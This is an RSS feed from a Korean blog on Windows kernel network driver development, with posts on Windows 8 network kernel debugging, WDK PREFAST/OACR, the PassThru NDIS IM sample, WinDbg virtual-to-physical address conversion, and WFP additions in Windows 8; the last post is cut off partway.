<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-905417256205641112</atom:id><lastBuildDate>Fri, 03 Feb 2012 07:28:32 +0000</lastBuildDate><category>spiking thread</category><category>AFD</category><category>.effmach</category><category>DNS</category><category>ALPC</category><category>APC</category><category>win8</category><category>PDO</category><category>Bug</category><category>OACR</category><category>WSK</category><category>Overflow</category><category>MAC</category><category>TCPIP</category><category>WFP</category><category>Deadlock</category><category>MDA</category><category>CDA</category><category>RSS</category><category>Rootkit</category><category>Exception</category><category>Task Offload</category><category>Detour</category><category>MDL</category><category>WDF</category><category>AV</category><category>NDISKD</category><category>Dump</category><category>Virtualization</category><category>Book</category><category>PREFAST</category><category>SandBox</category><category>workitem</category><category>IM</category><category>NDIS</category><category>WDM</category><category>spinlock</category><category>IPv6</category><category>Windows firewall</category><category>NET_BUFFER</category><category>NDIS6.0</category><category>IRP</category><category>sFilter</category><category>UEFI</category><category>RSC</category><category>TDI</category><category>Driver</category><category>DTM</category><category>ICMP</category><category>DPC</category><category>Open Block</category><category>IM6.0</category><category>ImageNotify</category><category>KAV</category><category>Miniport</category><category>Stream Layer</category><category>VirtualKD</category><category>zeroday</category><category>MiniFilter</category><category>NdisMIndicateStatusComplete</category><category>NMR</category><category>KMDF</category><category>Debug</category><category>평판시스템</category><category>WDK</category><category>command line</category><category>WINDBG</category><category>PID</category><title>zpacket - WSK/WFP/NDIS</title><description /><link>http://zpacket.blogspot.com/</link><managingEditor>noreply@blogger.com (reinhard v.z.)</managingEditor><generator>Blogger</generator><openSearch:totalResults>104</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/zpacket" /><feedburner:info uri="zpacket" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-8157462775858743953</guid><pubDate>Fri, 03 Feb 2012 07:27:00 +0000</pubDate><atom:updated>2012-02-02T23:28:32.886-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">win8</category><category domain="http://www.blogger.com/atom/ns#">Debug</category><title>Win8 Network Kernel Debugging Support</title><description>&lt;a href="http://channel9.msdn.com/Events/BUILD/BUILD2011/HW-98P"&gt;http://channel9.msdn.com/Events/BUILD/BUILD2011/HW-98P&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Windows 8 부터 이더넷 카드를 통해 네트워크 디버깅을 할 수 있게 되었습니다.&lt;br /&gt;
USB3 역시 같이 지원이 되는데. 기존 USB2에선 별도의 Dongle 이 필요했던 반면 XHCI USB Controller가 보드에 있는 경우에 대해 별도의 동글없이 디버깅이 된다고 합니다.&lt;br /&gt;
한가지 의문은 저같이 네트워크 드라이버를 디버깅하는 경우엔 네트워크 카드 두개가 설치되면 디버깅이 가능한지 의문이네요... win8 preview 버전으로 한번 해봐야 겠습니다.&lt;br /&gt;
&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-8157462775858743953?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yABh2iNDGLqSZuvMSGQ_AdhoS5c/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yABh2iNDGLqSZuvMSGQ_AdhoS5c/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yABh2iNDGLqSZuvMSGQ_AdhoS5c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yABh2iNDGLqSZuvMSGQ_AdhoS5c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/hr6jCSbN6RE" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/hr6jCSbN6RE/win8-network-kernel-debugging-support.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2012/02/win8-network-kernel-debugging-support.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-295168440194213974</guid><pubDate>Tue, 17 Jan 2012 15:00:00 +0000</pubDate><atom:updated>2012-01-17T07:16:19.234-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PREFAST</category><category domain="http://www.blogger.com/atom/ns#">WDK</category><category domain="http://www.blogger.com/atom/ns#">OACR</category><title>WDK 의 PREFAST/OACR 적용 시 문제점</title><description>얼마전 부터 WDK 의 OACR(Auto Code Review) 기능을 이용해 보려고 이것저것 자료도 보고 지인에게 물어도보고 하면서 기존 프로젝트에 적용을 해 보았습니다.&lt;br /&gt;
&lt;div&gt;
(OACR 은 구 PREFAST 를 확장해서 구현해 놓은 새로운 버전의 PREFAST 빌드 환경이라고 보면됩니다.)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
결론적으로 OACR 은 WDK 7600 최신버전에서만 적용될 수 있는 툴 이기 때문에 기존 프로젝트에 적용하기가 애매한 부분이 있었습니다. 왜냐하면 7600 에선 Win2K 빌드환경을 더이상 지원하지 않기 때문이죠. 9X와 NT40 은 버려졌다고 봐도 무방합니다만 2K 는 아직 지원을 끊기 어렵다고 보여집니다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
MS가 아무리 2K는 물론 XPsp2까지 지금시점에서 끊어내려고 한다해도 그건 MS의 영업적 측면의 정책일 뿐이지, 우리와 같은 써드파티 개발업체 입장에서도 그와 동일한 정책을 써야한다고 생각한다면 오산입니다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&amp;nbsp;고객이 아직은 Win2K 지원을 원하고 있기도 하고, NT 커널모드 드라이버의 개발환경은 기본적으로 Win2K 환경을 근간으로 하고 있기 때문입니다.(버전에 따른 컴파일 지시자 관련)&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
개인적으로, Win2K 빌드 환경을 최종지원하는 WDK 6001버전을 사용하는 것을 권장 드립니다. 쉽게 말해 WDK6001 하나면 전체 WinOS 를 다 커버 할 수 있게 빌드 환경을 구성할 수 있죠.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
물론... '나는 빌드 환경을 OS 구분하여 빌드하고 나오는 결과물도 별도로 하겠다' 라는 분들에겐 예외입니다. (XP이후와 2K버전의 바이너리를 별도 지원하게 한다는 게 납득이 갈지 모르겠지만요)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
또 다른 문제는 SAL2.0 적용 여부의 문제인데, 7600 WDK 부터는 드라이버 개발 코딩 시 코딩 프랙티스 및 주석(annotation) 에 신경을 많이 쓰도록 하고 있고 이를 OACR 에서 체크하도록 하고 있습니다. 그러나 이 문법은 6001 버전에 적용 되어 있지 않아 기존 프로젝을 SAL2.0 구문에 맞게 전부 수정해야 하는 부담이 생기게 되고, 7600에 있는 SAL annotaion 주석 관련 헤더를 6001에 적용하여 해 볼 수 있을 지는 모르겠으나 이렇게 까지 해가며 SAL2.0 annotation 을 신경 써야 하는 지는 의문입니다.&lt;br /&gt;
결국 노가다가 되겠지요...ㅋ&lt;br /&gt;
&lt;br /&gt;
그냥 컴파일 스위치 /W4 에 6001 PREFAST 빌드 정도 까지만 해도 무난하지 않나 싶습니다만...&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-295168440194213974?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/4ffdLVE5L4o7a_hk6JuByDRoVnY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4ffdLVE5L4o7a_hk6JuByDRoVnY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/4ffdLVE5L4o7a_hk6JuByDRoVnY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/4ffdLVE5L4o7a_hk6JuByDRoVnY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/cp5J6QMfkQ4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/cp5J6QMfkQ4/wdk-prefastoacr.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>1</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2012/01/wdk-prefastoacr.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-4873607608135901701</guid><pubDate>Fri, 06 Jan 2012 12:52:00 +0000</pubDate><atom:updated>2012-01-06T04:52:54.261-08:00</atom:updated><title>PassThru IM 드라이버를 상용 모듈에 넣을 때 고려사항.</title><description>설치 문제라든지 다른 모듈과의 호환성 문제는 제외하고 passthru 샘플 구현 자체에 대해 두 가지 정도를 얘기해 보겠습니다.&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
1. 우선 과거 포스팅에서도 언급했 듯이 자원에 대한 Manager가 필요합니다. 드라이버 자체가 소요하는 자원에 대한 관리는 어느 정도 기본 샘플에서 구현하고 있죠. 미니포트 어댑터에 대한 인스턴스 관리 및 기타 자원에 대한 관리가 이루어 지고 있으나, Rx/Tx 단으로 바운드 되는 패킷들에 대한 관리가 구현되어 있지 않습니다.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
패킷을 단지 PassThru 만 한다면 관계없겠지만. (Deep) Inspecting 을 한다거나, Modify를 하는 경우에는 패킷(풀)에 대한 관리가 필수 입니다. IN/OUT 에서 룩어사이드리스트 와 같은 것으로 패킷 리스트를 구현해서 reference counting 을 시켜주면서 원하는 필터링 로직을 돌려주어야 하겠죠.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
2. 제일 문제가 되는&amp;nbsp;PtReceive 핸들러를 적절히 수정해야 합니다.&amp;nbsp;PtReceive 핸들러는 구형 랜카드 즉, 구형 인터페이스(룩-어헤드 버퍼 관련) 에 대응되도록 현재 샘플에 구현되어 있지 않습니다. Rx 단은 과거 BandWith가 낮았던 시절에 NDIS가 설계됨으로 인해 low-Bandwith가 고려된 측면이 있어서 구형 랜카드의 경우 1번의 Rx로 전체 패킷이 넘어오지 않는 경우가 있습니다. 이런 경우 IM 에서 미니포트 드라이버 쪽으로 패킷을 한 번 전송 받고 난 후 나머지 패킷에 대한 재전송 요구와 재전송이 이루어 진 뒤의 처리 과정을 추가로 수행 해야 합니다.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-4873607608135901701?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/hjtv9fLhSl17JmVR7KtuzlYTXJc/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hjtv9fLhSl17JmVR7KtuzlYTXJc/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/hjtv9fLhSl17JmVR7KtuzlYTXJc/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/hjtv9fLhSl17JmVR7KtuzlYTXJc/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/ITWf9i3ax5c" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/ITWf9i3ax5c/passthru-im.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>4</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2012/01/passthru-im.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-7057058721735622124</guid><pubDate>Tue, 27 Dec 2011 01:30:00 +0000</pubDate><atom:updated>2011-12-26T17:30:10.209-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">WINDBG</category><title>Converting Virtual Addresses to Physical Addresses</title><description>&lt;br /&gt;
&lt;h1&gt;
&lt;a href="" name="t01_basic_d3a32249-4872-4355-acf2-45e4743c4d66.xml"&gt;&lt;/a&gt;&lt;/h1&gt;
Most debugger commands use virtual addresses, not physical addresses, as 
their input and output. However, there are times that having the physical 
address can be useful.&lt;br /&gt;

There are two ways to convert a virtual address to a physical address: by 
using the &lt;b&gt;!vtop&lt;/b&gt; extension, and by using the &lt;b&gt;!pte&lt;/b&gt; extension. &lt;br /&gt;

&lt;h4&gt;
Address Conversion Using !vtop&lt;/h4&gt;
Suppose you are debugging a target computer on which the &lt;i&gt;MyApp.exe&lt;/i&gt; 
process is running and you want to investigate the virtual address 0x0012F980. 
Here is the procedure you would use with the &lt;b&gt;!vtop&lt;/b&gt; extension to determine 
the corresponding physical address.&lt;br /&gt;
&lt;b&gt;Converting a virtual address to a 
physical address using !vtop&lt;/b&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Make sure that you are working in hexadecimal. If necessary, set the current 
base with the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;N 16&lt;/b&gt;&lt;/a&gt; 
command. 
&lt;/li&gt;
&lt;li&gt;Determine the &lt;i&gt;byte index&lt;/i&gt; of the address. This number is equal to the 
lowest 12 bits of the virtual address. Thus, the virtual address 0x0012F980 has 
a byte index of 0x980. 
&lt;/li&gt;
&lt;li&gt;Determine the &lt;i&gt;directory base&lt;/i&gt; of the address by using the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;!process&lt;/b&gt;&lt;/a&gt; 
extension:
&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;!process 0 0&lt;/b&gt;&lt;br /&gt;**** NT ACTIVE PROCESS DUMP ****&lt;br /&gt;....&lt;br /&gt;PROCESS ff779190  SessionId: 0  Cid: 04fc    Peb: 7ffdf000  ParentCid: 0394&lt;br /&gt;    &lt;b&gt;DirBase: 098fd000&lt;/b&gt;  ObjectTable: e1646b30  TableSize:   8.&lt;br /&gt;    Image: MyApp.exe&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Determine the &lt;i&gt;page frame number&lt;/i&gt; of the directory base. This is simply 
the directory base without the three trailing hexadecimal zeros. In this 
example, the directory base is 0x098FD000, so the page frame number is 0x098FD. 
&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;!vtop&lt;/b&gt;&lt;/a&gt; 
extension. The first parameter of this extension should be the page frame 
number. The second parameter of &lt;b&gt;!vtop&lt;/b&gt; should be the virtual address in 
question:
&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;!vtop 98fd 12f980&lt;/b&gt;&lt;br /&gt;Pdi 0 Pti 12f&lt;br /&gt;0012f980 &lt;b&gt;09de9000&lt;/b&gt; pfn(09de9)&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
The second number shown on the final line is the physical address of the 
beginning of the physical page.&lt;br /&gt;

&lt;/li&gt;
&lt;li&gt;Add the byte index to the address of the beginning of the page: 0x09DE9000 + 
0x980 = 0x09DE9980. This is the desired physical address. &lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;

You can verify that this computation was done correctly by displaying the 
memory at each address. The &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;!d*&lt;/b&gt;&lt;/a&gt; 
extension displays memory at a specified physical address:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;!dc 9de9980&lt;/b&gt;&lt;br /&gt;# 9de9980 6d206e49 726f6d65 00120079 0012f9f4 In memory.......&lt;br /&gt;# 9de9990 0012f9f8 77e57119 77e8e618 ffffffff .....q.w...w....&lt;br /&gt;# 9de99a0 77e727e0 77f6f13e 77f747e0 ffffffff .'.w&amp;gt;..w.G.w....&lt;br /&gt;# 9de99b0 .....&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
The &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;d* (Display 
Memory)&lt;/b&gt;&lt;/a&gt; command uses a virtual address as its argument:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;dc 12f980&lt;/b&gt;&lt;br /&gt;0012f980  6d206e49 726f6d65 00120079 0012f9f4  In memory.......&lt;br /&gt;0012f990  0012f9f8 77e57119 77e8e618 ffffffff  .....q.w...w....&lt;br /&gt;0012f9a0  77e727e0 77f6f13e 77f747e0 ffffffff  .'.w&amp;gt;..w.G.w....&lt;br /&gt;0012f9b0  .....&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
Because the results are the same, this indicates that the physical address 
0x09DE9980 does indeed correspond to the virtual address 0x0012F980. &lt;br /&gt;

&lt;h4&gt;
Address Conversion Using !pte&lt;/h4&gt;
Again, assume you are investigating the virtual address 0x0012F980 belonging 
to the &lt;i&gt;MyApp.exe&lt;/i&gt; process. Here is the procedure you would use with the 
&lt;b&gt;!pte&lt;/b&gt; extension to determine the corresponding physical 
address:&lt;br /&gt;
&lt;b&gt;Converting a virtual address to a physical address using !pte&lt;/b&gt;
&lt;ol type="1"&gt;
&lt;li&gt;Make sure that you are working in hexadecimal. If necessary, set the current 
base with the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;N 16&lt;/b&gt;&lt;/a&gt; 
command. 
&lt;/li&gt;
&lt;li&gt;Determine the &lt;i&gt;byte index&lt;/i&gt; of the address. This number is equal to the 
lowest 12 bits of the virtual address. Thus, the virtual address 0x0012F980 has 
a byte index of 0x980. 
&lt;/li&gt;
&lt;li&gt;Set the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;process 
context&lt;/a&gt; to the desired process:
&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;!process 0 0&lt;/b&gt;&lt;br /&gt;**** NT ACTIVE PROCESS DUMP ****&lt;br /&gt;....&lt;br /&gt;PROCESS &lt;b&gt;ff779190&lt;/b&gt;  SessionId: 0  Cid: 04fc    Peb: 7ffdf000  ParentCid: 0394&lt;br /&gt;    DirBase: 098fd000  ObjectTable: e1646b30  TableSize:   8.&lt;br /&gt;    Image: MyApp.exe&lt;br /&gt;&lt;br /&gt;kd&amp;gt; &lt;b&gt;.process /p ff779190&lt;/b&gt;&lt;br /&gt;Implicit process is now ff779190&lt;br /&gt;.cache forcedecodeuser done&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Use the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;!pte&lt;/b&gt;&lt;/a&gt; 
extension with the virtual address as its argument. This displays information in 
two columns. The left column describes the page directory entry (PDE) for this 
address; the right column describes its page table entry (PTE):
&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;!pte 12f980&lt;/b&gt;&lt;br /&gt;               VA 0012f980&lt;br /&gt;&lt;b&gt;PDE&lt;/b&gt; at   C0300000        &lt;b&gt;PTE&lt;/b&gt; at C00004BC&lt;br /&gt;contains 0BA58067      contains 09DE9067&lt;br /&gt;pfn ba58 ---DA--UWV    &lt;b&gt;pfn 9de9&lt;/b&gt; ---DA--UWV&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;Look in the last row of the right column. The notation "pfn 9de9" appears. 
The number 0x9DE9 is the &lt;i&gt;page frame number&lt;/i&gt; (PFN) of this PTE. Multiply 
the page frame number by 0x1000 (for example, shift it left 12 bits). The 
result, 0x09DE9000, is the physical address of the beginning of the page. 
&lt;/li&gt;
&lt;li&gt;Add the byte index to the address of the beginning of the page: 0x09DE9000 + 
0x980 = 0x09DE9980. This is the desired physical address. &lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;

This is the same result obtained by the earlier method.&lt;br /&gt;

&lt;h4&gt;
Converting Addresses By Hand&lt;/h4&gt;
Although the &lt;b&gt;!ptov&lt;/b&gt; and &lt;b&gt;pte&lt;/b&gt; extensions supply the fastest way to 
convert virtual addresses to physical addresses, this conversion can be done 
manually as well. A description of this process will shed light on some of the 
details of the virtual memory architecture.&lt;br /&gt;

Memory structures vary in size, depending on the processor and the hardware 
configuration. This example is taken from an x86 system that does not have 
Physical Address Extension (PAE) enabled.&lt;br /&gt;

Using 0x0012F980 again as the virtual address, you first need to convert it 
to binary, either by hand or by using the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;.formats (Show 
Number Formats)&lt;/b&gt;&lt;/a&gt; command:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;.formats 12f980&lt;/b&gt;&lt;br /&gt;Evaluate expression:&lt;br /&gt;  Hex:     0012f980&lt;br /&gt;  Decimal: 1243520&lt;br /&gt;  Octal:   00004574600&lt;br /&gt;  Binary:  00000000 00010010 11111001 10000000&lt;br /&gt;  Chars:   ....&lt;br /&gt;  Time:    Thu Jan 15 01:25:20 1970&lt;br /&gt;  Float:   low 1.74254e-039 high 0&lt;br /&gt;  Double:  6.14381e-318&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
This virtual address is a combination of three fields. Bits 0 to 11 are the 
byte index. Bits 12 to 21 are the page table index. Bits 22 to 31 are the page 
directory index. Separating the fields, you have:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;0x0012F980  =  0y  00000000 00   010010 1111   1001 10000000&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
This exposes the three parts of the virtual address:&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;
&lt;ul type="disc"&gt;
&lt;li&gt;Page directory index = 0y0000000000 = 0x0 
&lt;/li&gt;
&lt;li&gt;Page table index = 0y0100101111 = 0x12F 
&lt;/li&gt;
&lt;li&gt;Byte index = 0y100110000000 = 0x980 &lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;

You then need three additional pieces of information for your 
system.&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;
&lt;ul type="disc"&gt;
&lt;li&gt;The size of each PTE. This is 4 bytes on non-PAE x86 systems. 
&lt;/li&gt;
&lt;li&gt;The size of a page. This is 0x1000 bytes. 
&lt;/li&gt;
&lt;li&gt;The PTE_BASE virtual address. On a non-PAE system, this is 0xC0000000. 
&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;

Using this data, you can compute the address of the PTE itself:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;PTE address   =   PTE_BASE  &lt;br /&gt;                + (page directory index) * PAGE_SIZE&lt;br /&gt;                + (page table index) * sizeof(MMPTE)&lt;br /&gt;              =   0xc0000000&lt;br /&gt;                + 0x0   * 0x1000&lt;br /&gt;                + 0x12F * 4&lt;br /&gt;              =   0xC00004BC&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
This is the address of the PTE. The PTE is a 32-bit DWORD. Examine its 
contents:&lt;br /&gt;

&lt;div style="color: #660000; cursor: text; font: 100% Courier New, Courier, mono; padding-bottom: 2pt; padding-left: 4pt; padding-right: 4pt; padding-top: 2pt;"&gt;
&lt;nobr&gt;kd&amp;gt; &lt;b&gt;dd 0xc00004bc L1&lt;/b&gt;&lt;br /&gt;c00004bc  09de9067&lt;br /&gt;&lt;/nobr&gt;&lt;/div&gt;
This PTE has value 0x09DE9067. It is made of two fields:&lt;br /&gt;
&lt;b&gt;&lt;/b&gt;
&lt;ul type="disc"&gt;
&lt;li&gt;The low 12 bits of the PTE are the &lt;i&gt;status flags&lt;/i&gt;. In this case, these 
flags equal 0x067 — or in binary, 0y000001100111. For an explanation of the 
status flags, see the &lt;a href="http://www.blogger.com/blogger.g?blogID=905417256205641112"&gt;&lt;b&gt;!pte&lt;/b&gt;&lt;/a&gt; 
reference page. 
&lt;/li&gt;
&lt;li&gt;The high 20 bits of the PTE are equal to the &lt;i&gt;page frame number&lt;/i&gt; (PFN) 
of the PTE. In this case, the PFN is 0x09DE9. &lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;

The first physical address on the physical page is the PFN multiplied by 
0x1000 (shifted left 12 bits). The byte index is the offset on this page. 
Thus,the physical address you are looking for is 0x09DE9000 + 0x980 = 
0x09DE9980. This is the same result obtained by the earlier methods.&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/905417256205641112-7057058721735622124?l=zpacket.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/mblzISzRP_fVD-i9ofqYna2f1ns/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mblzISzRP_fVD-i9ofqYna2f1ns/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/mblzISzRP_fVD-i9ofqYna2f1ns/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/mblzISzRP_fVD-i9ofqYna2f1ns/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/zpacket/~4/kPoBOs5tBwI" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/zpacket/~3/kPoBOs5tBwI/converting-virtual-addresses-to.html</link><author>noreply@blogger.com (reinhard v.z.)</author><thr:total>0</thr:total><feedburner:origLink>http://zpacket.blogspot.com/2011/12/converting-virtual-addresses-to.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-905417256205641112.post-6135831191418004597</guid><pubDate>Thu, 22 Dec 2011 04:51:00 +0000</pubDate><atom:updated>2011-12-21T21:04:13.278-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">WFP</category><title>WFP Win8 추가사항</title><description>이번에 공개된 Windows Developer Preview 버전을 기점으로 WFP 에 추가된 콜아웃은 3가지 입니다.&lt;br /&gt;
&lt;br /&gt;
1. Layer 2 Filtering&lt;br /&gt;
&lt;br /&gt;
2. Proxied Connections Tracking&lt;br /&gt;
&lt;br /&gt;
3. Virtual Switch Filtering&lt;br /&gt;
&lt;br /&gt;
예전부터 말이 많았던 Layer 2 지원에 관련된 부분이 이제서야 추가되네요. 이 기능은 솔직히 &amp;nbsp;적어도 Win7 에는 추가되었어야 했는데 8 부터 지원되게 되어 정말 아쉽네요.&lt;br /&gt;
